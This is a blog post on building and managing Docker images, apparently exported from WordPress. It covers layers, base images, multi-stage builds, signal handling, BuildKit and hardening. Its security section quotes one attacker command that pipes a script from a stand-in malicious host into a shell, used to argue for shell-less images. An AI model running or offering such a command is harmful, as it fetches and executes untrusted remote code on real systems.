{"id":4918,"date":"2026-10-29T01:41:23","date_gmt":"2026-10-28T20:11:23","guid":{"rendered":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/"},"modified":"2026-10-29T01:41:23","modified_gmt":"2026-10-28T20:11:23","slug":"docker-image-guide-how-to-build-run-and-manage-images-2","status":"publish","type":"post","link":"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/","title":{"rendered":"Docker Image Guide: How to Build, Run, and Manage Images"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_80 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6ae422ade0c48\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6ae422ade0c48\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#Stop_Treating_Your_Docker_Image_Like_a_Virtual_Machine\" >Stop Treating Your Docker Image Like a Virtual Machine<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_Documentation_is_Lying_to_You\" >The Documentation is Lying to You<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_Layer_Cake_Its_Tarballs_All_The_Way_Down\" >The Layer Cake: It\u2019s Tarballs All The Way Down<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_Base_Image_War_Alpine_is_Overrated\" >The Base Image War: Alpine is Overrated<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#Multi-Stage_Builds_The_Only_Way_to_Fly\" >Multi-Stage Builds: The Only Way to Fly<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_%E2%80%9CGotcha%E2%80%9D_of_Signal_Handling_PID_1\" >The &#8220;Gotcha&#8221; of Signal Handling (PID 1)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_Registry_Protocol_Why_Your_Pushes_are_Slow\" >The Registry Protocol: Why Your Pushes are Slow<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#BuildKit_The_Modern_Engine\" >BuildKit: The Modern Engine<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_Manifest_and_the_Config_The_Brains_of_the_Image\" >The Manifest and the Config: The Brains of the Image<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#Security_Scanning_is_Not_a_Silver_Bullet\" >Security: Scanning is Not a Silver Bullet<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_Immutable_Artifact_Myth\" >The Immutable Artifact Myth<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_Real_World_Image_Squashing_and_Why_Its_Usually_a_Bad_Idea\" >The Real World: Image Squashing and Why It\u2019s Usually a Bad Idea<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#The_Wrap-up\" >The Wrap-up<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#Related_Articles\" >Related Articles<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Stop_Treating_Your_Docker_Image_Like_a_Virtual_Machine\"><\/span>Stop Treating Your Docker Image Like a Virtual Machine<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It was 3:14 AM on a Tuesday when the first PagerDuty alert fired. I was the lead SRE for a fintech startup, and we were scaling our transaction processing engine to handle a sudden spike in volume. I had just &#8220;optimized&#8221; our CI\/CD pipeline by caching our 4.2GB Docker image across the fleet. Within minutes, the Kubelet on every single node in the <code>us-east-1<\/code> cluster started screaming. Disk pressure. The nodes went <code>NotReady<\/code>. The control plane, trying to be helpful, rescheduled the pods to the remaining healthy nodes, which promptly ran out of disk space too. It was a cascading failure of my own making.<\/p>\n<p>The culprit wasn&#8217;t a memory leak or a rogue thread. It was a <code>docker image<\/code> that I had treated like a dumping ground. I had bundled the entire build toolchain, three different versions of Python, and a 1.5GB dataset into the final artifact. I learned that night that an image isn&#8217;t just a &#8220;box&#8221; for your code. It is a complex, layered filesystem that can either be your greatest deployment asset or a ticking time bomb that kills your MTTR (Mean Time To Recovery) when you need it most.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Documentation_is_Lying_to_You\"><\/span>The Documentation is Lying to You<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you read the official Docker documentation, they make images sound like a simple stack of pancakes. You add a layer, you get a new image. Easy. But the docs rarely talk about what happens when those pancakes are 10 inches thick and made of lead. They don&#8217;t talk about the <code>overlay2<\/code> storage driver&#8217;s inode limits or how the <code>v2<\/code> manifest format actually handles content-addressable storage. Most tutorials focus on <code>docker build -t my-app .<\/code> and call it a day. They ignore the reality of the registry protocol, the overhead of layer extraction, and the security nightmare of <code>glibc<\/code> vulnerabilities in bloated base images.<\/p>\n<p>We need to stop looking at images as &#8220;black boxes.&#8221; We need to look at them as a series of <code>tar<\/code> archives and JSON metadata files. Because when your image pull takes 8 minutes during an auto-scaling event, &#8220;it works on my machine&#8221; doesn&#8217;t mean anything. Your &#8220;seamless&#8221; developer experience is actually a bottleneck for your production reliability.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Layer_Cake_Its_Tarballs_All_The_Way_Down\"><\/span>The Layer Cake: It\u2019s Tarballs All The Way Down<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A <code>docker image<\/code> is not a single file. It\u2019s a collection of layers, and each layer is just a compressed tarball of the changes made since the previous layer. When you run <code>docker pull<\/code>, you aren&#8217;t downloading a binary; you are downloading a manifest that tells your engine which layers to fetch from the registry.<\/p>\n<p>Let&#8217;s look at what&#8217;s actually happening under the hood. When you run a command in a Dockerfile, Docker creates a new layer. But here is the kicker: if you delete a file in a later layer, it doesn&#8217;t actually disappear from the image. It\u2019s just hidden by a &#8220;whiteout&#8221; file in the UnionFS. This is where most people screw up their image size.<\/p>\n<pre><code># This is a disaster for image size\nFROM debian:bookworm-slim\nRUN apt-get update\nRUN apt-get install -y gcc make git\nRUN git clone https:\/\/github.com\/org\/massive-app.git \/app\nRUN cd \/app && make build\nRUN apt-get purge -y gcc make git\n<\/code><\/pre>\n<p>In the example above, the <code>gcc<\/code>, <code>make<\/code>, and <code>git<\/code> binaries are still taking up space in the third layer. The <code>apt-get purge<\/code> in the last layer just adds a new layer saying &#8220;don&#8217;t show these files anymore.&#8221; The bits are still there. They are still being pushed to your registry. They are still being pulled by your nodes. You\u2019ve achieved nothing but a false sense of cleanliness.<\/p>\n<blockquote><p>\n  <strong>Pro-tip:<\/strong> Always combine your <code>RUN<\/code> commands that install and cleanup dependencies into a single statement using <code>&amp;&amp;<\/code>. This ensures the temporary files never make it into a committed layer.\n<\/p><\/blockquote>\n<ul>\n<li>Each layer adds overhead to the <code>overlay2<\/code> driver.<\/li>\n<li>The maximum number of layers is 127, but if you hit 40, you\u2019re already doing it wrong.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"The_Base_Image_War_Alpine_is_Overrated\"><\/span>The Base Image War: Alpine is Overrated<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I\u2019m going to say it: Stop using Alpine Linux for everything. The industry has a weird obsession with Alpine because it\u2019s 5MB. &#8220;Look how small my image is!&#8221; Great. Now tell me how much time you spent debugging <code>musl<\/code> vs <code>glibc<\/code> issues when your Python <code>pandas<\/code> library failed to compile or your Go binary had weird DNS resolution bugs.<\/p>\n<p>Alpine uses <code>musl<\/code> as its C standard library. Most of the Linux world\u2014and most of the pre-compiled binaries you find on the internet\u2014expect <code>glibc<\/code> (GNU C Library). When you use Alpine for a Node.js or Python app, you often end up having to install <code>build-base<\/code>, <code>gcc<\/code>, and <code>g++<\/code> just to compile dependencies that would have been pre-installed or easily available as wheels on a Debian-based system. You save 50MB on the base image but add 400MB in build dependencies and 10 minutes to your CI build time.<\/p>\n<p>Use <code>debian:bookworm-slim<\/code>. It\u2019s about 30MB compressed. It uses <code>glibc<\/code>. It\u2019s predictable. It\u2019s what runs the world. If you really want to be a hero, use Google\u2019s <code>distroless<\/code> images for your final stage. They contain only your application and its runtime dependencies. No shell. No <code>apt<\/code>. No <code>ls<\/code>. It\u2019s a nightmare to debug if you don&#8217;t know how to use <code>kubectl debug<\/code>, but it\u2019s the gold standard for security and size.<\/p>\n<ul>\n<li><code>alpine:3.19<\/code>: 7MB. Great for simple Go binaries. Terrible for complex runtimes.<\/li>\n<li><code>debian:bookworm-slim<\/code>: 30MB. The pragmatic choice for 90% of use cases.<\/li>\n<li><code>gcr.io\/distroless\/static-debian12<\/code>: 2MB. The &#8220;final boss&#8221; of production images.<\/li>\n<li><code>ubuntu:22.04<\/code>: 28MB. Fine, but Debian-slim is usually tighter.<\/li>\n<li><code>python:3.11-slim-bookworm<\/code>: 45MB. The sweet spot for Python apps.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Multi-Stage_Builds_The_Only_Way_to_Fly\"><\/span>Multi-Stage Builds: The Only Way to Fly<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you aren&#8217;t using multi-stage builds in 2024, you are essentially shipping your kitchen with every meal you cook. You don&#8217;t need the Go compiler in your production image. You don&#8217;t need <code>npm<\/code> or <code>yarn<\/code> in your production image. You only need the compiled binary or the <code>node_modules<\/code> folder and the runtime.<\/p>\n<pre><code># Stage 1: The Builder\nFROM node:20.11.1-bookworm-slim AS builder\nWORKDIR \/src\nCOPY package.json yarn.lock .\/\nRUN yarn install --frozen-lockfile\nCOPY . .\nRUN yarn build\n\n# Stage 2: The Runtime\nFROM node:20.11.1-bookworm-slim\nWORKDIR \/app\n# Only copy the production artifacts\nCOPY --from=builder \/src\/dist .\/dist\nCOPY --from=builder \/src\/node_modules .\/node_modules\nCOPY --from=builder \/src\/package.json .\/package.json\n\nUSER node\nENTRYPOINT [\"node\", \"dist\/index.js\"]\n<\/code><\/pre>\n<p>This pattern is non-negotiable. It separates the &#8220;build-time&#8221; concerns from the &#8220;run-time&#8221; concerns. In the example above, the <code>builder<\/code> stage might be 800MB because of all the dev-dependencies and build tools. The final image? Probably 150MB. That\u2019s a 5x reduction in storage, transfer costs, and attack surface. <\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_%E2%80%9CGotcha%E2%80%9D_of_Signal_Handling_PID_1\"><\/span>The &#8220;Gotcha&#8221; of Signal Handling (PID 1)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Here is something most people realize only after they see their pods taking 30 seconds to terminate during a deployment. When you run a process in a container, it usually runs as PID 1. In Linux, PID 1 is special. It\u2019s the <code>init<\/code> process. It\u2019s responsible for reaping zombie processes and, crucially, handling signals like <code>SIGTERM<\/code>.<\/p>\n<p>If you use the &#8220;shell form&#8221; of <code>CMD<\/code> or <code>ENTRYPOINT<\/code>, your application will not receive signals. <\/p>\n<pre><code># Shell form: \/bin\/sh -c \"node index.js\"\nCMD node index.js\n<\/code><\/pre>\n<p>In this case, <code>\/bin\/sh<\/code> is PID 1. When Kubernetes sends a <code>SIGTERM<\/code> to the container to shut it down gracefully, <code>sh<\/code> receives it but doesn&#8217;t pass it to <code>node<\/code>. Your app keeps running until the <code>terminationGracePeriodSeconds<\/code> (usually 30s) expires, and then the Kubelet kills it with a <code>SIGKILL<\/code>. You just dropped active connections and potentially corrupted data because you didn&#8217;t use the &#8220;exec form.&#8221;<\/p>\n<pre><code># Exec form: node index.js\nCMD [\"node\", \"index.js\"]\n<\/code><\/pre>\n<p>Now <code>node<\/code> is PID 1. It receives the <code>SIGTERM<\/code>. Your code can catch that signal and close database connections gracefully. If your runtime doesn&#8217;t handle PID 1 well (like some older versions of Java or Python), use <code>tini<\/code>. It\u2019s a tiny init binary designed specifically for containers.<\/p>\n<pre><code>RUN apt-get update &amp;&amp; apt-get install -y tini\nENTRYPOINT [\"\/usr\/bin\/tini\", \"--\"]\nCMD [\"node\", \"index.js\"]\n<\/code><\/pre>\n<h2><span class=\"ez-toc-section\" id=\"The_Registry_Protocol_Why_Your_Pushes_are_Slow\"><\/span>The Registry Protocol: Why Your Pushes are Slow<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>When you run <code>docker push<\/code>, you are interacting with the OCI (Open Container Initiative) Distribution Spec. The engine calculates the SHA256 hash of each layer. It then asks the registry, &#8220;Hey, do you already have a layer with this hash?&#8221; This is called a &#8220;cross-repository blob mount&#8221; if it exists elsewhere, or just a simple skip if it exists in the current repo.<\/p>\n<p>The bottleneck is often the &#8220;context.&#8221; When you run <code>docker build .<\/code>, the Docker CLI packs up <strong>everything<\/strong> in the current directory and sends it to the Docker daemon. If you have a 2GB <code>.git<\/code> folder or a <code>node_modules<\/code> folder locally, you are sending that 2GB over the socket every time you build. <\/p>\n<blockquote><p>\n  <strong>Note to self:<\/strong> Always, always, always have a <code>.dockerignore<\/code> file. It is the single most effective way to speed up local builds.\n<\/p><\/blockquote>\n<pre><code># .dockerignore\n.git\nnode_modules\ndist\n*.log\n.env\n<\/code><\/pre>\n<p>Without this, your &#8220;build context&#8221; is bloated. The daemon has to process all those files even if your Dockerfile doesn&#8217;t <code>COPY<\/code> them. It\u2019s wasted CPU and wasted IO.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"BuildKit_The_Modern_Engine\"><\/span>BuildKit: The Modern Engine<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you are still using the old Docker build engine, you are living in the stone age. BuildKit (enabled via <code>DOCKER_BUILDKIT=1<\/code> or used by default in newer versions) introduced features that make images significantly better. The most important one is the <code>--mount=type=cache<\/code>.<\/p>\n<p>One of the biggest complaints about Docker images is that <code>RUN apt-get update<\/code> or <code>RUN npm install<\/code> has to happen from scratch if a previous layer changes. With BuildKit, you can persist a cache directory across builds.<\/p>\n<pre><code># syntax=docker\/dockerfile:1\nFROM node:20\nWORKDIR \/app\nCOPY package.json yarn.lock .\/\n# This cache persists even if the layers are invalidated\nRUN --mount=type=cache,target=\/root\/.yarn \\\n    yarn install --prefer-offline --frozen-lockfile\nCOPY . .\nRUN yarn build\n<\/code><\/pre>\n<p>This is a game changer for CI\/CD. It allows you to keep the speed of local development (where you have a persistent <code>node_modules<\/code> or <code>.m2<\/code> folder) while still getting the isolation of a containerized build. <\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Manifest_and_the_Config_The_Brains_of_the_Image\"><\/span>The Manifest and the Config: The Brains of the Image<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you want to see what an image actually is, run <code>docker save my-image:latest -o image.tar &amp;&amp; tar -xf image.tar<\/code>. You\u2019ll see a bunch of directories with long hex names. Inside each is a <code>layer.tar<\/code> and a <code>json<\/code> file. <\/p>\n<p>The <code>manifest.json<\/code> is the entry point. It points to the <code>config<\/code> JSON file and the layer tarballs. The <code>config<\/code> file is where the magic happens. It stores your environment variables, the <code>ENTRYPOINT<\/code>, the architecture (amd64 vs arm64), and the history of how the image was built. <\/p>\n<p>This is why <code>docker inspect<\/code> is so powerful. It\u2019s just reading this JSON. When you run a container, the engine takes this config, combines it with the runtime specs, and tells the container runtime (like <code>containerd<\/code> or <code>CRI-O<\/code>) to create a namespace and mount those layers using <code>overlay2<\/code>.<\/p>\n<ul>\n<li><code>Config<\/code>: Defines the environment and execution metadata.<\/li>\n<li><code>Layers<\/code>: The actual filesystem diffs.<\/li>\n<li><code>Manifest<\/code>: The map that links them together.<\/li>\n<li><code>Index<\/code>: (In multi-arch images) A map that points to different manifests for different CPUs.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Security_Scanning_is_Not_a_Silver_Bullet\"><\/span>Security: Scanning is Not a Silver Bullet<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>People love to brag about their &#8220;Zero Vulnerability&#8221; image scans. &#8220;We use Snyk\/Trivy\/Clair and our images are clean!&#8221; This is a false sense of security. These scanners look for known CVEs in the package manager database (like <code>dpkg<\/code> or <code>rpm<\/code>). <\/p>\n<p>If you download a random binary using <code>curl<\/code> in your Dockerfile, the scanner has no idea what it is. If you compile your own version of OpenSSL, the scanner won&#8217;t see the vulnerabilities in it. If you have a malicious <code>npm<\/code> package, the scanner might miss it unless it&#8217;s specifically looking at the <code>package-lock.json<\/code>.<\/p>\n<p>The only way to truly secure a <code>docker image<\/code> is to reduce the surface area. This brings us back to <code>distroless<\/code> or static binaries. If there is no <code>shell<\/code> in your image, an attacker who finds a remote code execution (RCE) vulnerability in your app can&#8217;t just run <code>curl http:\/\/malicious.com\/script.sh | sh<\/code>. They are stuck in a very limited environment. <\/p>\n<p>Also, stop running as <code>root<\/code>. By default, Docker containers run as the <code>root<\/code> user. If an attacker breaks out of your application, they are <code>root<\/code> on the container. If you haven&#8217;t configured your <code>User Namespaces<\/code> or <code>PodSecurityPolicies<\/code> correctly, they might even have a path to the host. <\/p>\n<pre><code># Create a system user\nRUN groupadd -r appuser &amp;&amp; useradd -r -g appuser appuser\n# ... build your app ...\nUSER appuser\nENTRYPOINT [\".\/my-binary\"]\n<\/code><\/pre>\n<h2><span class=\"ez-toc-section\" id=\"The_Immutable_Artifact_Myth\"><\/span>The Immutable Artifact Myth<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>We say images are immutable. They aren&#8217;t. A tag like <code>node:latest<\/code> or <code>python:3.9<\/code> is a moving target. If you build your image today and again tomorrow using the same tag, you might get different underlying bits because the maintainer updated the base image to patch a security hole. <\/p>\n<p>In production, you should use the <strong>SHA256 digest<\/strong> of the image if you want true immutability. <\/p>\n<pre><code># Instead of this:\nFROM node:20.11.1-bookworm-slim\n# Use this:\nFROM node:20.11.1-bookworm-slim@sha256:c8c284f1c4...\n<\/code><\/pre>\n<p>This ensures that every single person on your team and every single node in your cluster is running the exact same byte-for-byte image. It prevents the &#8220;but it worked in staging&#8221; excuse when staging pulled the new version of the base image but production was still using the cached old version.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Real_World_Image_Squashing_and_Why_Its_Usually_a_Bad_Idea\"><\/span>The Real World: Image Squashing and Why It\u2019s Usually a Bad Idea<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>You might hear about &#8220;squashing&#8221; images. This is the process of taking all those layers and collapsing them into a single layer. People do this to save space. <\/p>\n<p>Don&#8217;t do it. <\/p>\n<p>Squashing destroys the primary benefit of Docker layers: <strong>deduplication<\/strong>. If you have 50 microservices all based on <code>debian:bookworm-slim<\/code>, your nodes only store that base layer once. If you squash every image, your nodes now store 50 copies of the Debian filesystem. You\u2019ve traded a small reduction in individual image size for a massive increase in total disk usage across your cluster. You\u2019ve also broken the registry&#8217;s ability to only push\/pull the changes, making your CI\/CD pipelines slower.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Wrap-up\"><\/span>The Wrap-up<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Stop treating your Dockerfile like a bash script and start treating it like a manifest for a distributed filesystem. Every line you write has a cost\u2014in bytes, in build time, and in security risk. If you can&#8217;t justify a layer, don&#8217;t create it. If you don&#8217;t need a package, don&#8217;t install it. And for the love of everything holy, use a <code>.dockerignore<\/code> file. Your SREs will thank you when the cluster doesn&#8217;t implode at 3 AM because of disk pressure.<\/p>\n<p>The best Docker image is the one that contains exactly what is needed to run the application and nothing else\u2014no shells, no package managers, and no surprises.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Related_Articles\"><\/span>Related Articles<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Explore more insights and best practices:<\/p>\n<ul>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images\/\">Docker Image Guide How To Build Run And Manage Images<\/a><\/li>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/how-to-install-php-7-3-on-centos-8\/\">How To Install Php 7 3 On Centos 8<\/a><\/li>\n<li><a href=\"https:\/\/itsupportwale.com\/blog\/10-devops-best-practices-for-faster-software-delivery-4\/\">10 Devops Best Practices For Faster Software Delivery 4<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Stop Treating Your Docker Image Like a Virtual Machine It was 3:14 AM on a Tuesday when the first PagerDuty alert fired. I was the lead SRE for a fintech startup, and we were scaling our transaction processing engine to handle a sudden spike in volume. I had just &#8220;optimized&#8221; our CI\/CD pipeline by caching &#8230; <a title=\"Docker Image Guide: How to Build, Run, and Manage Images\" class=\"read-more\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/\" aria-label=\"Read more  on Docker Image Guide: How to Build, Run, and Manage Images\">Read more<\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4918","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Docker Image Guide: How to Build, Run, and Manage Images - ITSupportWale<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Docker Image Guide: How to Build, Run, and Manage Images - ITSupportWale\" \/>\n<meta property=\"og:description\" content=\"Stop Treating Your Docker Image Like a Virtual Machine It was 3:14 AM on a Tuesday when the first PagerDuty alert fired. I was the lead SRE for a fintech startup, and we were scaling our transaction processing engine to handle a sudden spike in volume. I had just &#8220;optimized&#8221; our CI\/CD pipeline by caching ... Read more\" \/>\n<meta property=\"og:url\" content=\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/\" \/>\n<meta property=\"og:site_name\" content=\"ITSupportWale\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Itsupportwale-298547177495978\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-28T20:11:23+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/itsupportwale.com\/blog\/wp-content\/uploads\/2021\/05\/android-chrome-512x512-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"512\" \/>\n\t<meta property=\"og:image:height\" content=\"512\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Techie\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Techie\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/\"},\"author\":{\"name\":\"Techie\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#\/schema\/person\/8c5a2b3d36396e0a8fd91ec8242fd46d\"},\"headline\":\"Docker Image Guide: How to Build, Run, and Manage Images\",\"datePublished\":\"2026-10-28T20:11:23+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/\"},\"wordCount\":2166,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#organization\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/\",\"url\":\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/\",\"name\":\"Docker Image Guide: How to Build, Run, and Manage Images - ITSupportWale\",\"isPartOf\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/#website\"},\"datePublished\":\"2026-10-28T20:11:23+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/docker-image-guide-how-to-build-run-and-manage-images-2\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/itsupportwale.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Docker Image Guide: How to Build, Run, and Manage Images\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/itsupportwale.com\/blog\/#website\",\"url\":\"https:\/\/itsupportwale.com\/blog\/\",\"name\":\"ITSupportWale\",\"description\":\"Tips, Tricks, Fixed-Errors, Tutorials &amp; 